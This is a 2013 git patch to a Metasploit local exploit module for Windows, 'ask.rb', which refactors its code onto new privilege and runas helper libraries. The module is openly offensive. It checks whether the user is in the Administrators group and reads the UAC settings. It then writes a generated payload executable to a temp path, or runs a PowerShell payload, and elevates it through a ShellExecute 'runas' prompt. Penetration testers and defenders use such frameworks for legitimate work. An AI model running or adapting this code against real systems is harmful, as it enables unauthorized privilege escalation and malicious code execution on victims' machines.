From 868b70c9edd74aec28e8193d310fbe981ac91c55 Mon Sep 17 00:00:00 2001
From: b00stfr3ak <goduke44@gmail.com>
Date: Fri, 25 Oct 2013 14:05:33 -0700
Subject: [PATCH] Added priv lib and runas lib

Cleaned up code with using the new lib files
---
 modules/exploits/windows/local/ask.rb | 79 ++++++++-------------------
 1 file changed, 24 insertions(+), 55 deletions(-)

diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb
index ab8c24bb16..6f9f79e06d 100644
--- a/modules/exploits/windows/local/ask.rb
+++ b/modules/exploits/windows/local/ask.rb
@@ -6,15 +6,12 @@
 ##
 
 require 'msf/core'
-require 'msf/core/exploit/exe'
-require 'msf/core/exploit/powershell'
 
 class Metasploit3 < Msf::Exploit::Local
   Rank = ExcellentRanking
 
-  include Exploit::EXE
-  include Post::File
-  include Exploit::Powershell
+  include Post::Windows::Priv
+  include Post::Windows::Runas
 
   def initialize(info={})
     super( update_info( info,
@@ -51,78 +48,50 @@ class Metasploit3 < Msf::Exploit::Local
   def check
     session.readline
     print_status('Checking admin status...')
-    whoami = session.sys.process.execute('cmd /c whoami /groups',
-                                         nil,
-                                         {'Hidden' => true, 'Channelized' => true}
-    )
-    cmdout = []
-    while(cmdoutput = whoami.channel.read)
-      cmdout << cmdoutput
-    end
-    if cmdout.size == 0
-      fail_with(Exploit::Failure::None, "Either whoami is not there or failed to execute")
+    admin_group = is_in_admin_group?
+    if admin_group.nil?
+      print_error('Either whoami is not there or failed to execute')
+      print_error('Continuing under assumption you already checked...')
+      return Exploit::CheckCode::Unknown
     else
-      isinadmins = cmdout.join.scan(/S-1-5-32-544/)
-      if isinadmins.size > 0
+      if admin_group
         print_good('Part of Administrators group! Continuing...')
         return Exploit::CheckCode::Vulnerable
       else
-        print_error('Not in admins group, cannot escalate with this module')
-        print_error('Exiting...')
+        print_error("Not in admins group, cannot escalate with this module")
         return Exploit::CheckCode::Safe
       end
     end
   end
+
   def exploit
     admin_check = check
     if admin_check.join =~ /safe/
-      return Exploit::CheckCode::Safe
+      fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
     end
-    root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
-    open_key = session.sys.registry.open_key(root_key, base_key)
-    lua_setting = open_key.query_value('EnableLUA')
-
-    if lua_setting.data == 1
+    if is_uac_enabled?
       print_status "UAC is Enabled, checking level..."
     else
-      print_good "UAC is not enabled, no prompt for the user"
+      if is_in_admin_group?
+        fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
+      else
+        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
+      end
     end
-
-    uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
-
-    case uac_level.data
-      when 2
-        print_status "UAC is set to 'Always Notify'"
-        print_status "The user will be prompted, wait for them to click 'Ok'"
-      when 5
-        print_debug "UAC is set to Default"
-        print_debug "The user will be prompted, wait for them to click 'Ok'"
-      when 0
+    case get_uac_level
+      when UAC_NO_PROMPT
         print_good "UAC is not enabled, no prompt for the user"
+      else
+        print_status "The user will be prompted, wait for them to click 'Ok'"
     end
-
     #
     # Generate payload and random names for upload
     #
     case datastore["TECHNIQUE"]
       when "EXE"
-        exe_payload = generate_payload_exe
-        payload_filename = datastore["FILENAME"] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-        payload_path = datastore["PATH"] || expand_path("%TEMP%")
-        cmd_location = "#{payload_path}\\#{payload_filename}"
-        if datastore["UPLOAD"]
-          print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
-          write_file(cmd_location, exe_payload)
-        else
-          #print_error("No Upload Path!")
-          fail_with(Exploit::Failure::BadConfig, "No Upload Path!")
-          return
-        end
-        command, args = cmd_location,nil
-        session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
+        execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"])
       when "PSH"
-        command, args = "cmd.exe",  " /c #{cmd_psh_payload(payload.encoded)}"
+        execute_psh
     end
-    session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
   end
-end
\ No newline at end of file
+end